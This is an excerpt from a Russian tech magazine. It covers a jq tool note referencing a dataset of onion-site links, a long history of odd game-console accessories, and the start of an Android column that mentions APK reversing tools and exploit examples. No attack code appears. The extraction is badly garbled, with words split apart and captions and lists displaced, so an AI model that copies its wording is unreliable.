В оди нар ных кавыч ках содер жатся инс трук ции jq (в дан ном слу чае —
точ ка,  то есть вывод всех дан ных). Эти инс трук ции пишут на язы ке,
который пред назна чен спе циаль но для филь тра ции и пре обра зова‐ 
ния JSON.

Для  упражне ния  я  взял  мас сив  дан ных,  который  мы  собира ли,
готовя тему номера « ». В этом фай ле содер жится
четыре с лиш ним  тысячи ссы лок на  теневые ресур сы и для  каж дой
про писа ны  катего рия,  URL,  заголо вок  и  количес тво  вхо дящих  ссы‐ 
лок с дру гих сай тов в .onion.

Сек реты дар кне та

Хо рошень ко  полазив  по  ,  я  в  качес тве
упражне ния  сочинил  зап рос,  который  выбира ет  сай ты  опре делен‐ 
ной катего рии и с количес твом вхо дящих ссы лок не мень ше задан‐ 
ного. А в кон це еще филь тру ет те, где в заголов ке есть кон крет ное
сло во.

стра нице  докумен тации

Как  видишь,  филь тры  мож но  ком биниро вать,  скар мли вая  выход
одно го  на  вход  дру гому.  А  еще  у  jq  есть  вну шитель ное  количес тво
встро енных  фун кций,  под дер жка  регуляр ных  выраже ний,  усло вия
и  перемен ные.  В  общем,  целый  новый  язык,  который  дару ет  тебе
новую супер спо соб ность.

BUCKLESPRING — ПРОГРАММА, КОТОРАЯ ВЕРНЕТ
НОСТАЛЬГИЧЕСКИЙ ЗВУК МЕХАНИЧЕСКОЙ КЛАВИАТУРЫ3
Про изво дите ли стре мят ся сде лать кла виату ры тише, а ход кно пок —
мяг че.  Сядешь  за  ста рый  компь ютер  и  недо уме ваешь:  как  рань ше
паль цы не отва лива лись через пять минут работы? Но что‐то по ходу
прог ресса  все же  утра тилось,  а  имен но — звук механи чес кой  кла‐ 
виату ры.  Раз работ чик  ути литы    решил  вер нуть  его,
не теряя при этом в ком форте.

Bucklespring

В  дан ный  момент  нас ладить ся  Bucklespring  могут  лишь  поль‐ 
зовате ли Linux и macOS: билд для Windows, по сло вам авто ра, вре‐ 
мен но не работа ет. Для  уста нов ки Bucklespring дос таточ но 

, соб рать при помощи   и запус тить ути литу от рута
(в  Linux  пот ребу ется  пос тавить  еще  пару  зависи мос тей  —  они
перечис лены в  ).

ска чать
его с GitHub make

readme
Ощу щения от Bucklespring, надо ска зать, сво еоб разные. Во‐пер‐ 

вых, звук, ясное дело, раз дает ся не от кла виату ры, а из динами ков.
К  тому  же  он  сов сем  не  такой,  каким  я  его  пом ню.  Моя  дешевая
китай ская кла виату ра изда вала ско рее сухой щел кающий звук, а не
музыку бол тающих ся пру жин.

Од нако,  набирая  эту  замет ку  с  вклю чен ным  Bucklespring,  я
не могу отри цать, что он все же добав ляет что‐то к про цес су печати.
Во‐пер вых,  чувс тву ешь,  что  дела ешь  что‐то  зна читель ное,  во‐вто‐ 
рых,  сто ит  зву кам  затих нуть,  и  сра зу  понима ешь:  работа  прос‐ 
таивает!

mailto:apismenny@gmail.com
http://wickeditor.com/
https://github.com/zrispo/wick
https://stedolan.github.io/jq/
https://stedolan.github.io/jq/
https://xakep.ru/2016/10/05/darknet-services/
https://stedolan.github.io/jq/manual/
https://github.com/zevv/bucklespring
https://github.com/zevv/bucklespring
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СЦЕНА

Ес ли  ты  дума ешь,  что Guitar  Hero,  Kinect  или Wii  Remote —
это  стран но,  то  спе шим  тебя  заверить:  это  все  ерун да
по срав нению с тем, как извра щались раз работ чики игро вых
прис тавок в ста рые вре мена. Были и жес товые кон трол леры,
и  3D‐уско рите ли,  встро енные  пря мо  в  кар тридж,  и  прис‐ 
тавки, в которые вмес то кар трид жа встав лялась дру гая прис‐ 
тавка.

NES КАК ПРОТОТИП WII
В  1983  году  тог да  мало  кому  извес тная  ком пания  Nintendo  выпус тила
на рынок новую игро вую прис тавку. На сво ей родине, в Япо нии, она называ‐ 
лась  Famicom  (Family  Computer),  а  для  запад ного  рын ка  ее  пере име нова ли
в  NES  —  Nintendo  Entertainment  System.  Она  отли чалась  невысо кой  ценой
и обла дала рядом  тех ничес ких осо бен ностей,  которые  чуть  поз же перевер‐ 
нули всю игро вую индус трию вверх тор машка ми.

Уже  в  1984–1985  годах мес то  одно тип ных  при митив ных  игр  вро де  «Пак‐ 
мана» и пинг‐пон га, которых было так мно го на Atari 2600, заняли кра соч ные
инте рес ные  игры  с  сюжетом  и  раз нооб разным  гей мпле ем,  а  NES  ста ла
самым  желан ным  подар ком  под рос тков  Аме рики,  Япо нии  и  мно гих  дру гих
стран.

До  Рос сии  ни  Famicom,  ни  NES  так  и  не  доб рались.  Мы  пом ним  толь ко
Dendy, которая была дешевым китай ским кло ном Famicom, и поэто му не зна‐ 
ем  всей  исто рии  зна мени той  прис тавки  и  тех  изощ ренных  спо собов,  что
исполь зовали в Nintendo для дой ки кошель ков тиней дже ров и их родите лей.

Dendy Junior была копи ей ори гиналь ной Famicom

Для  нас  единс твен ным  аксессу аром  Dendy  был  абы  как  работа ющий  све‐ 
товой  пис толет,  который  при носил  удо воль ствие  толь ко  пер вые  пять  минут
игры и почему‐то работал далеко не со все ми телеви зора ми. А вот нас тоящая
япон ская Famicom была из  короб ки осна щена ни мно го ни мало  голосо вым
управле нием. На ори гиналь ном  вто ром джой сти ке  Famicom не было  кно пок
Select и Pause, но был мик рофон. С его помощью в игре The Legend of Zelda
мож но  было  убить  про тив ника  Pols  Voice,  который,  сог ласно  руководс тву,
ненави дел гром кий звук. В аме рикан ской вер сии прис тавки мик рофон убра‐ 
ли,  а  вот  руководс тво  к  игре  оста вили  преж ним.  Так  что  для  аме рикан ских
под рос тков это был один из самых слож ных квес тов в исто рии игр.

Джой сти ки Famicom. Фото: complex.com

The Legend of Zelda так же была одной из пер вых игр, выпущен ных для Family
Computer Disk System (FDS). Это при вод флоп пи‐дис ков, который с помощью
спе циаль ного адап тера вты кал ся в слот для кар трид жей и поз волял запус кать
игры с дис кет. Об этой шту ке нуж но знать три вещи: 1) дис кеты были необыч‐ 
ного фор мата, без защит ной створ ки, и поэто му быс тро при ходи ли в негод‐ 
ность;  2)  пасик,  при водя щий диск  в дви жение,  прев ращал ся  в  тру ху  за нес‐ 
коль ко  месяцев  исполь зования,  что  дос тавля ло  осо бую  радость  детям  и  их
родите лям; 3) ком пания Square, в нед рах которой родилась Final Fantasy, ока‐ 
залась на гра ни бан кротс тва, сде лав став ку на FDS.

В раз ные пери оды с 1983 по 1990 годы для Famicom и NES раз ные ком‐ 
пании выпус кали сле дующие перифе рий ные устрой ства:

 на четыре джой сти ка, так же сущес тво вав ший в 
;

• пе реход ник бес про вод ной
вер сии

  со  спе циаль ным  кар трид жем,  содер жащим  интер пре татор
BASIC;

• кла виату ра

 для сох ранения прог ресса про хож дения на ауди окас сеты;• маг нитофон
,  который  поз волял  играть  в  онлай не,  чатить ся,  читать  анек доты,

прог ноз погоды и, конеч но же, тор говать акци ями;
• мо дем

, поз воля ющие получить эффект глу бины в некото рых
играх. Подоб ный аксессу ар был и для вось мибит ной  ;

• ак тивные сте реооч ки
Sega Master System

, на котором мож но было бегать на мес те или тан цевать;• фит нес‐ков рик
, который поз волял играть в игры, дви гая рукой;• hands free кон трол лер

ве лоси пед ный тре нажер;•
мно жес тво  джой сти ков  (в  том  чис ле  сен сорных  и  бес про вод ных)
и переход ников меж ду реги ональ ными кар трид жами.

•

Фит нес‐ков рик NES Power Pad

Пер чатка вмес то джой сти ка
Осо бо сто ит отме тить пер чатку Power Glove. Игрок надевал ее на руку, затем
вво дил спе циаль ный код для игры на циф ровой кла виату ре, рас полагав шей ся
на запяс тной час ти пер чатки, и мог управлять пер сонажем игры, переме щая
руку и сги бая паль цы.

Что бы  передать  свое  мес тополо жение,  пер чатка  неп рерыв но  испуска ла
уль траз вуковые  сиг налы,  которые  улав ливались  тре мя  дат чиками,  рас‐ 
положен ными  с  раз ных  сто рон  телеви зора.  Сис тема  рас чета  мес тополо‐ 
жения вычис ляла раз ницу меж ду ско ростью пос тупле ния сиг нала на  каж дый
сен сор  и  с  помощью  три ангу ляции  выс читыва ла  мес тополо жение  пер чатки
в прос транс тве.

Power  Glove  дей стви тель но  про изво дила  силь ное  впе чат ление  на  неок‐ 
репшие  моз ги  под рос тков,  а  годы  спус тя  ста ла  пред метом  куль та  и  зас‐ 
ветилась в том самом филь ме «Хакеры» с Андже линой Джо ли. Но с про дажа‐ 
ми  не  задалось.  Из‐за  мас сы  ком про мис сов,  на  которые  пош ли  инже неры
ради  уде шев ления  про дук та,  Power  Glove  работа ла  пло хо,  а  спе циаль но
для нее было выпуще но все го две игры.

Ха кер мен из филь ма Kung Fury в пер чатке Power Glove

Прог рамми руемый робот
Еще хуже дела обсто яли с роботом R.O.B. (Robotic Operating Buddy). Nintendo
исполь зовала  игру шеч ного  робота,  что бы  про бить  скеп тицизм,  свя зан ный
с кри зисом индус трии компь ютер ных игр, воз никшим в 1983 году. В то вре мя
рынок был перепол нен вто росор тны ми игра ми для Atari 2600, которые выпус‐ 
кали  все  кому  не  лень,  что бы  зарабо тать  на  хай пе  вок руг  кон соль ных  игр.
Игро ки  все  боль ше  разоча ровы вались  в  кон солях  и  все  чаще  пог лядыва ли
в сто рону домаш них компь юте ров.

Идея Nintendo сос тояла в том, что бы пре под нести свою прис тавку по‐ино‐ 
му и показать, что это неч то более инте рес ное, чем оче ред ная игрушка. И как
это  обыч но  быва ет,  ког да  идеи  рож дают ся  в  чис то  мар кетин говых  целях,
R.O.B.  ока зал ся  бес полез ной  ерун дой,  которая  хорошо  выг лядела  толь ко
в рек ламном бук лете.

Ро бот  сос тоял  из шес тиуголь ного  осно вания,  зак реплен ной  на  нем  вра‐ 
щающей ся  оси,  головы  с  боль шими  гла зами‐сен сорами  и  «рук»,  которые
мог ли  переме щать ся  вверх‐вниз,  в  сто роны  и  сжи мать ся  для  зах вата  пред‐ 
метов. К осно ванию мож но было под клю чать допол нитель ные модули.

Ро бот для NES, ничего необыч ного

R.O.B.  был  сов местим  все го  с  дву мя  игра ми  для NES: Gyromite  и  Stack‐Up.
Пер вая — типич ный плат формер, но с изю мин кой: всю ду на пути героя рас‐ 
полага лись  колон ны,  которые  необ ходимо  дви гать  вверх  и  вниз,  нажимая
кноп ки  A  и  B  на  вто ром  джой сти ке.  Играть  мож но  было  либо  вдво ем,  либо
на  пару  с  роботом.  Во  вто ром  слу чае  к  роботу  под клю чались  нес коль ко
модулей.  В  один  модуль  зак реплял ся  джой стик,  дру гой  пред став лял  собой
неч то вро де мотора, который раз гонял раз мещен ную в нем юлу.

Что бы сдви нуть колон ну, игрок нажимал Select, экран вспы хивал раз ными
цве тами, переда вая в гла за‐сен соры робота коман ду. Робот раз ворачи вал ся,
брал юлу,  перетас кивал  ее  на  модуль  с  джой сти ком,  юла  зажима ла  кноп ку,
и колон на опус калась (или под нималась). И все это раз дра жающе мед ленно.

Stack‐Up была еще более бес смыс ленной. Цель этой игры — перес тавить
раз ноцвет ные  бло ки  в  нуж ном  поряд ке.  Вот  толь ко  бло ки  не  отоб ражались
на  экра не,  а  были  вылиты  из  плас тика.  В  ком плек те  с  игрой шло  нес коль ко
креп лений  для  скла дыва ния  бло ков,  а  так же  сами  бло ки.  Игра  исполь‐ 
зовалась  толь ко  для  управле ния  дви жени ями  робота.  Зачем  так  слож но?
Спро сите у мар кетоло гов Nintendo!

Вот выпуск AVGN, хорошо иллюс три рующий абсур дность идеи R.O.B.

https://www.youtube.com/watch?v=7-0LAL87T_s

Стре ляющий шлем
Для  NES  так же  сущес тво вал  управля емый  голосом  лучевой  пис толет  Laser
Scope,  который  кре пил ся  на  голове.  Это  подел ка  из  раз ряда  пол ного
безумия.  Игрок  запус кал  любую  игру  с  под дер жкой  све тово го  пис толета,
надевал  на  голову  неч то  вро де  шле ма  с  мик рофоном  и  стек лышком‐при‐ 
целом в сти ле Google Glass, наводил стек лышко на цель и орал, что бы сде‐ 
лать выс трел.

Так выг лядел Laser Scope

ШЕСТНАДЦАТИБИТНОЕ БЕЗУМИЕ
Мно гие  годы  руководс тво  Nintendo  соп ротив лялось  тому,  что бы  выпус тить
на рынок новую, более совер шенную кон соль. Но нас тупав шие на пят ки NEC
и Sega, зарели зив шие свои шес тнад цатибит ные кон соли в 1987 и 1988 годах,
все‐таки вынуди ли ее это сде лать, и в 1991 году на свет появи лась Super Nin‐
tendo, одна из луч ших прис тавок всех вре мен.

Бес про вод ная базука
Super Nintendo была куда более прод винутой в тех ничес ком пла не, чем NES,
поэто му и аксессу ары для нее дол жны были быть кру че. А что может быть кру‐ 
че  двух кно поч ного  джой сти ка  и  све тово го  пис толета?  Толь ко  шес тикно поч‐ 
ный джой стик и базука с точ ным позици они рова нием при цела!

В  отли чие  от  све тово го  пис толета,  который  исполь зовал  очень  прос той
при ем с затем нени ем все го экра на и под свет кой объ екта во вре мя выс тре ла,
базука  Super  Scope  работа ла  ина че.  Она  пос тоян но  сооб щала  прис тавке
информа цию  о  том,  све тит ся  ли  экран  телеви зора  (0  —  да,  1  —  нет).  Так
как  экра ны  телеви зоров  с  элек трон но‐лучевой  труб кой  испуска ли  свет
не  пос тоян но,  а  толь ко  на  корот кий  пери од  пос ле  про хож дения  луча,  прис‐ 
тавка  мог ла  с  боль шой  точ ностью  опре делить,  в  какую  часть  экра на  нап‐ 
равле на базука во вре мя нажатия кноп ки выс тре ла. Экран боль ше не мигал
во вре мя выс тре лов, а читеры, любив шие нап равлять пис толет на лам почку,
что бы обма нуть сен сор све тово го пис толета, горь ко пла кали.

Су пер пушка для супер прис тавки

Микс Super Nintendo и Sony PlayStation
Для Super Nintendo сущес тво вало огромное количес тво джой сти ков, нес коль‐ 
ко модемов раз ных про изво дите лей и даже  компь ютер ная мышь,  но самым
инте рес ным аксессу аром был так и не выпущен ный Super NES CD‐ROM.

Сог ласно  леген де,  в  1988  году  Кен  Кутара ги,  занимав ший  дол жность
инже нера Sony, заин тересо вал ся телеви зион ными прис тавка ми и пред ложил
руководс тву  ком пании  вый ти  на  этот  рас тущий  рынок,  соз дав  спе циаль ное
устрой ство‐рас ширение, с помощью которо го прис тавка мог ла бы про игры‐ 
вать аудио и игро вые дис ки.

В том же году Sony и Nintendo зак лючили сог лашение, сог ласно которо му
Sony  будет  про изво дить  спе циаль ный  док‐про игры ватель  ком пакт‐дис ков
для будущей Super Nintendo, а так же смо жет соз дать собс твен ную, сов мести‐ 
мую  с  SNES  прис тавку,  которая  будет  осна щена  и  сло том  для  кар трид жей,
и при водом дис ков фор мата Super Disk.

По нача лу  все шло  хорошо. Sony  успе ла  раз работать  нес коль ко  про тоти‐ 
пов  прис тавки  и  даже  анон сирова ла  ее  на  CES’91.  Одна ко  в  пос ледний
момент  руководс тво  Nintendo  решило,  что  не  хочет  отда вать  Sony  пра ва
на  кон троль  рын ка  игр  на  ком пакт‐дис ках,  и  парал лель но  зак лючило  ана‐ 
логич ное сог лашение с ком пани ей Philips. Поз днее Sony и Nintendo все‐таки
смог ли догово рить ся, но ненадол го — в ито ге в Sony таки решили прек ратить
сот рудни чес тво с Nintendo.

Ре зуль татами это го бюрок ратичес кого балага на ста ли: появ ление на свет
леген дарной  Sony  PlayStation,  про вал  Philips  CD‐i  и  пос леду ющие  неуда чи
Nintendo на рын ке кон солей пятого и шес того поколе ний.

Один из про тоти пов Nintendo PlayStation

Steam в 1994 году
Свой  про валь ный  вари ант  дока  с  при водом для  чте ния  ком пакт‐дис ков  был
и  у  Sega.  В  начале  девянос тых  он  успел  доб рать ся  даже  до  нашей  стра ны,
но  чего  мы  точ но  не  видали,  так  это  сер виса  циф ровой  дис три буции  игр
под наз вани ем Sega Channel. Вряд ли у нас в те вре мена кто‐нибудь даже мог
вооб разить что‐то такое.

В США и Канаде начиная с 1994 года обла датель Sega Genesis (так в США
называ лась Mega Drive),  пожелав ший под клю чить ся  к  сер вису,  покупал спе‐ 
циаль ный кар тридж с гнез дом для коак сиаль ного кабеля. Затем вты кал в него
про вод одно го из опе рато ров кабель ного телеви дения, опла чивал месяч ную
под писку (13 дол ларов) и мог играть в одну из пятиде сяти игр для Sega (каж‐ 
дый месяц набор тай тлов менял ся), не покупая самих кар трид жей.

Нес мотря на то что Sega Channel стра дал от мно гих проб лем (нап ример,
игру при ходи лось ска чивать каж дый раз пос ле вклю чения прис тавки — образ
хра нил ся в опе ратив ной памяти псев докар трид жа, заг ружалась игра слиш ком
дол го —  при мер но  пять  минут  на  игру  и  трид цать  секунд  для  отоб ражения
меню), это был пер вый подоб ный сер вис в исто рии компь ютер ных игр. Спус‐ 
тя  годы жур налис ты отме чали,  что  имен но Sega подари ла США ста биль ный
интернет, зас тавив опе рато ров модер низиро вать свою инфраструк туру.

Sega Genesis, кар тридж Sega Channel и Mega‐CD

Прис тавка для прис тавки
Кро ме  Sega  Channel,  в  1994  году  в  сте нах  Sega  соз дали  дру гое,  гораз до
более стран ное рас ширение для сво ей прис тавки. Это Sega 32X, пол ноцен‐ 
ная  кон соль  с  дву мя  про цес сорами  и  3D‐уско рите лем,  которая  вты калась
в слот для кар трид жей и сама име ла слот для кар трид жа.

32X выш ла на рынок все го за шесть месяцев до Sega Saturn и позици они‐ 
рова лась  ком пани ей  как  «32‐бит ная  кон соль  для  бед ных».  Она  сто ила  все‐ 
го 159 дол ларов (в про тиво вес 399 дол ларам за Sega Saturn), но была прак‐ 
тичес ки  бес полез на  вви ду  поч ти  пол ного  отсутс твия  игр.  Игро делы  прос то
про игно риро вали  32X,  сде лав  став ку  на  Sega  Saturn,  поэто му  за  все  вре мя
сущес тво вания  для  нее  было  выпуще но  все го  сорок  игр.  Мно гие  из  них,
как бы стран но это ни зву чало, были пор тами с Sega Mega Drive, а осталь ные
не исполь зовали все воз можнос ти прис тавки. Даже Doom при наличии двух
про цес соров на 24 МГц и 3D‐уско рите ля работал в умень шен ном окне и имел
тек сту ры более низ кого качес тва, чем ори гинал.

Sega Genesis + Sega 32X
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САМЫЕ НЕОБЫЧНЫЕ ПРИСТАВКИ

И ИГРОВЫЕ АКСЕССУАРЫ ИЗ

ПРОШЛОГО

СЦЕНА  НАЧАЛО СТАТЬИ←

3D-уско ритель в кар трид же
При  раз работ ке  3D‐уско рите ля  для  32X  инже неры  Sega  исполь зовали  свои

же наработ ки,  сде лан ные для обыч ной Mega Drive.  Те,  кто  видел игру Virtua

Racing,  навер няка  поража лись  кру тос ти  ее  трех мерной  гра фики.  Это  был

единс твен ный  (и  самый  дорогой)  кар тридж  для Mega Drive  с  интегри рован‐ 

ным уско рите лем 3D‐гра фики.

Свой вари ант «про цес сора в кар трид же» был и у Nintendo. Он носил имя

Super FX, а игр, которые исполь зовали его воз можнос ти, было гораз до боль‐ 

ше одной. В  их  чис ло  вхо дили Star  Fox, Doom, Super Mario World  2,  а  так же

нес коль ко менее извес тных тай тлов. Бла года ря тому что чип интегри ровал ся

в  каж дый  кар тридж,  Nintendo  име ла  воз можность  совер шенс тво вать  его

с течени ем вре мени, не обновляя саму прис тавку.

Не зави симые  про изво дите ли  игр  так же  исполь зовали  допол нитель ные

чипы в сво их кар трид жах для SNES: матема тичес кий чип Cx4 для управле ния

спрай тами в Mega Man X2 и X3, DSP‐про цес сор NEC, который исполь зовал ся

в  Super  Mario  Kart,  Dungeon  Master,  Top  Gear  3000  и  мно гих  дру гих  играх,

Z80 в кар трид же‐адап тере Super Game Boy, S‐DD1, исполь зуемый для деком‐ 

прес сии дан ных в Star Ocean и Street Fighter Alpha 2.

Пла та кар трид жа Virtua Racing. Фото: i64x.com

Крес ло‑джой стик и сис тема зах вата дви жений
Ес ли говорить о стран ных аксессу арах и кон трол лерах, то здесь паль му пер‐ 

венс тва занима ет Sega Action Chair. Это пол нораз мерное крес ло‐кон трол лер,

которое эму лиру ет работу  крес товины обыч ного джой сти ка с помощью нак‐ 

лонов в раз ные сто роны и име ет два «рычага» с кноп ками. Action Chair прак‐ 

тичес ки невоз можно най ти в про даже — в пос ледний раз его видели на eBay

в 2010 году по цене 500 дол ларов.

Sega Action Chair

За то дру гой при чуд ливый девайс — Sega Activator — впол не про дает ся. Он

пред став ляет  собой  раз борный  шес тиуголь ник  —  нуж но  помес тить  его

на  полу,  а  затем  встать  в  центр.  С  помощью  инфрак расных  диодов  и  сен‐ 

соров гра ни шес тиуголь ника опре деля ют, ког да игрок пересе кает их гра ницу

руками или ногами, и посыла ют соот ветс тву ющий сиг нал прис тавке.

Sega  позици они рова ла  устрой ство  как  иде аль ный  кон трол лер  для  игры

в фай тин ги. Но как раз в фай тин гах Activator показы вал себя хуже все го. Он

неточ но и час то неп равиль но опре делял переме щения рук и ног, некор рек тно

работал  из‐за  неров ного  потол ка,  наличия  люс тры  или  потолоч ного  вен‐ 

тилято ра и  сов сем не под ходил для быс трых игр,  тре бующих момен таль ной

реак ции.

Sega Activator про валил ся. Но поз же ком пания смог ла задей ство вать его

улуч шенную вер сию в игро вом авто мате Dragon Ball Z V.R.V.S.

Sega Activator. Фото: segaretro.org

КАРМАННОЕ СУМАСШЕСТВИЕ
В 1989 году, еще до выхода Super Nintendo, но уже пос ле релиза Mega Drive,

Nintendo  выпус тила  на  рынок  кар манную  кон соль Game Boy. Это был  ущер‐ 

бный ана лог NES, спо соб ный отоб ражать все го четыре оттенка серого (а точ‐ 

нее, ток сично‐зелено го) на кро хот ном экра не без под свет ки. Но это был хит,

влю бив ший  в  себя  детей  и  их  родите лей.  Прив лек  Game  Boy  и  жела ющих

наварить ся  на  его  успе хе,  про давая  при чуд ливые  и  зачас тую  бес полез ные

аксессу ары.

Нач нем  с  того,  что  в  Game  Boy  мож но  было  играть  вдво ем.  Для  это го

сущес тво вал  спе циаль ный  кабель,  поз воляв ший  соеди нить  два  устрой ства;

раз ветви тель  давал  воз можность  под клю чать  еще  два.  Сущес тво вали  даже

адап теры  бес про вод ной  сети,  которая  объ еди няла  нес коль ко  десят ков

устрой ств,  но  смог  ли  кто‐то  хоть  раз  най ти  столь ко  вла дель цев  кон соли

с оди нако выми кар трид жами — воп рос откры тый.

Впро чем,  и  это  все  ерун да  по  срав нению  с  ,  выпол ненной

в  фор ме  кар трид жа,  и    для  печати  сня тых  фотог рафий.

При  желании  мож но  было  обой тись  и  без  печати:  в  кар тридж  был  зашит

редак тор фоток и нес коль ко игр, где фото игро ка слу жило ава тар кой.

веб‐камерой

прин тером

Ка меры и прин тер для Game Boy. Фото: solopress

Ин терес нее  все го,  конеч но,  извра щения  с  кар трид жами,  которые  при меня‐ 

лись непос редс твен но в играх. Выпущен ная в 2003 году игра Boktai для Game

Boy  Advance  рас простра нялась  на  кар трид же,  осна щен ном  дат чиком  осве‐ 

щения.  Сюжет  игры  повес тво вал  об  охот нике  на  вам пиров,  меч  которо го

получал  энер гию  от  сол нца  в  самом  пря мом  смыс ле  —  для  заряд ки  меча

«Гей мбой»  нуж но  было  дер жать  на  све ту.  Так же  Boktai  исполь зовала

информа цию о текущем вре мени суток и поощ ряла игру днем, ког да вам пиры

более уяз вимы.

Са мыми  же  стран ными  аксессу ара ми  для  Game  Boy  были  те,  что  пред‐ 

назна чались  для  пре одо ления  конс трук тивных  недос татков  кон соли.  Нап‐ 

ример,  сущес тво вали  уве личи тель ные  стек ла,  которые  кре пились  на  крон‐ 

штей не  перед  экра ном. Мно гие  из  них  осна щались  све тоди ода ми  для  под‐ 

свет ки  экра на,  которые  питались  от  собс твен ных  батаре ек  или  от  батаре ек

самого Game  Boy  (в  этом  слу чае  под  батарей ки  необ ходимо  было  под кла‐ 

дывать алю мини евые клем мы).

Апо феозом  все го  это го  безумия  стал Game Boy Booster. Огромных  раз‐ 

меров кейс, в котором было все, что толь ко мог ло понадо бить ся хар дкор ному

игро ку:  уве личи тель ное  стек ло,  под свет ка  экра на,  гром кие  динами ки,  нак‐ 

ладки  на  кла виши,  допол нитель ный  источник  питания  и  отсек  для  хра нения

кар трид жей.

Game Boy Booster, великий и ужас ный. Фото: guff.com

А еще был Work Boy,  ком плект  из  кар трид жа и  кла виату ры,  которые дол жны

были  прев ратить  Game  Boy  в  неч то  вро де  перенос ного  компь юте ра,  осна‐ 

щен ного орга най зером, кален дарем, средс тва ми для соз дания тек стов, кон‐ 

верта ции величин и так далее. К сожале нию, он так и не уви дел свет.

Work Boy: PDA образца 1992 года

Но, как говорят про дав цы в телема гази нах, и это еще не все. Для Game Boy

так же сущес тво вали:

кар тридж  со  встро енным  сонаром  с  ради усом  дей ствия  двад цать  мет‐ 

ров — для любите лей рыбал ки;

•

швей ная машин ка, которую мож но было прог рамми ровать;•

ка бель для под клю чения к смар тфо ну;•

мо дем для ска чива ния игр;•

бо тин ки с отсе ком для хра нения Game Boy;•

мас ка для нар коза.•

Швей ная машин ка, управля емая с помощью Game Boy

Со нар для Game Boy. Фото: gamesniped.com

«ЭЛЕКТРОНИКА» В ФОРМЕ ЧАСОВ
Game Boy был не единс твен ной кар манной прис тавкой про изводс тва Ninten‐

do. До нее ком пания выпус кала Game And Watch, дешевую пор татив ную кон‐ 

соль,  извес тную  в  Рос сии  под  име нем  «Элек тро ника»  (да,  да,  оче ред ной

совет ский  клон). Свои  кло ны были и в США,  где их про изводс твом занима‐ 

лась ком пания Tiger, ушед шая далеко впе ред в срав нении с Nintendo.

Tiger не огра ничи валась стан дар тным фор матом прис тавки и со вре менем

начала  про изво дить  аме рикан скую  «Элек тро нику»  в  совер шенно  безум ных

форм‐фак торах и с игра ми,  которые взор вали бы мозг совет ско му ребен ку:

стре лял ки, бро дил ки, фай тин ги, RPG. Tiger бра лась за любой жанр и выпус‐ 

кала собс твен ные вари анты Castlevania, Street Fighter, Shinobi, Sonic, Jurassic

Park,  Batman,  Duck  Tales,  Mega  Man,  Double  Dragon.  Что  из  все го  это го

получи лось  при  перено се  на  сег менти рован ный  ЖК‐экран, 

.

тек стом

не передать

Tiger  умуд рялась  выпус кать  игры  в  фор мате  наруч ных  часов  и  очков

наподо бие Google Glass! Игрок надевал на голову спе циаль ную повяз ку с зак‐ 

реплен ным  на  ней  стек лом,  на  которую  про еци рова лось  изоб ражение.

Управле ние  с  помощью  джой сти ка,  гра фика  такая  же,  как  в  «Ну,  погоди!»

для «Элек тро ники», за исклю чени ем цве товой гам мы. Она здесь чер но‐крас‐ 

ная, так же как в выпущен ном в том же 1995 году шле ме вир туаль ной реаль‐ 

нос ти Virtual Boy.

Ча сы с игрой Batman, меч та совет ско го ребен ка

ШЛЕМ ВИРТУАЛЬНОЙ РЕАЛЬНОСТИ ИЗ СЕРЕДИНЫ ДЕВЯНОСТЫХ
В 1995 году Nintendo выпус тила на рынок самый нас тоящий шлем вир туаль‐ 

ной реаль нос ти, не при вязан ный к какой‐либо прис тавке или компь юте ру. Vir‐

tual Boy получал питание от батаре ек и про еци ровал на гла за чер но‐белое (а

точ нее, крас но‐чер ное) сте реоизоб ражение c раз решени ем 324 × 224 точ ки.

Virtual  Boy  был  мощ нее  NES  и  SNES  и  впол не  мог  потянуть  пол ноцен‐ 

ное  3D.  Одна ко  боль шинс тво  игр  были  впол не  клас сичес кими  плат форме‐ 

рами с эффектом парал лакса, который ими тиро вал глу бину. Гирос коп отсутс‐ 

тво вал,  поэто му  игро ки  не  ощу щали  себя  учас тни ками  игры.  Более  того,

«шлем» вооб ще нель зя было надеть на голову, его сле дова ло уста нав ливать

на стол, а затем смот реть в него, сидя в неудоб ной позе.

Все  эти  недос татки,  усу губ ленные  прак тичес ки  пол ным  отсутс тви ем  игр

(три  при  стар те  и  двад цать  две  в  общей  слож ности),  сде лали  Virtual  Boy

самой  про валь ной  кон солью Nintendo  и  серь езно  сни зили  цену  акций  ком‐ 

пании. Одна ко  спус тя  десяток  лет  любовь  к  экспе римен там и  неожи дан ным

решени ям  вер нули  Nintendo  мес то  сре ди  клю чевых  раз работ чиков  игро вых

прис тавок.  Nintendo  Wii  с  жес товыми  кон трол лерами,  Nintendo  DS  с  дву мя

экра нами,  Nintendo  3DS,  где  один  из  них  стал  сте реос копичес ким,  —  все

это родили инже неры отде ла R&D, мно гие занят ные изоб ретения которых мы

раз бирали в этой статье.

Virtual Boy: вир туаль ная реаль ность от Nintendo

ВЫВОДЫ
Все  новое —  это  хорошо  забытое  ста рое.  Баналь ность,  от  которой  никуда

не деть ся. Oculus Rift, кон трол леры Wii, смар тфо ны с под клю чаемы ми модуля‐ 

ми, онлайн‐магази ны кон тента, внеш ние 3D‐уско рите ли — было, было, было,

было. Может, хоть музыкаль ные игры типа Rock Band — это новое? Нет, и это

было,  при чем  вмес то  фаль шивой  гитары 

.

к  игре  при лага лись  нас тоящие

марака сы

https://en.wikipedia.org/wiki/Game_Boy_Camera
https://en.wikipedia.org/wiki/Game_Boy_Printer
https://www.youtube.com/watch?v=5e4WEe2d7nE
https://en.wikipedia.org/wiki/Samba_de_Amigo


CОФТ ДЛЯ ПОТРОШЕНИЯ APK, ГАЙД ПО

СКРЫТЫМ ПРОБЛЕМАМ KOTLIN, НОВЫЕ

ИССЛЕДОВАНИЯ И ПОЛЕЗНЫЕ

БИБЛИОТЕКИ

Евгений Зобнин
zobnin@glc.ru

X‐MOBILE

Мы обновля ем нашу руб рику для фанатов Android. Весь июнь

мы  выбира ли  инте рес ный  гик‐софт,  иска ли  новые  инс тру‐ 

мен ты  ревер са  APK,  читали  и  ана лизи рова ли  вай тпей перы,

статьи  по  безопас ности  и  раз работ ке.  А  сей час  готовы

поделить ся  с  тобой  самым  цен ным.  Если  ты  пишешь  софт,

занима ешь ся  ана лизом  защищен ности  при ложе ний

или прос то Android‐гик, заг ляни. Тут мно го инте рес ного.

В этой статье: лаун чер в сти ле коман дной стро ки Linux, при ложе ние для под‐ 

мены  уве дом лений,  исчерпы вающий  каталог  информа ции о  воз можных  уяз‐ 

вимос тях  в при ложе ниях для Android и при меры экс пло итов,  нес коль ко инс‐ 

тру мен тов ана лиза APK. А так же мно жес тво ста тей для прог раммис тов, отку‐ 

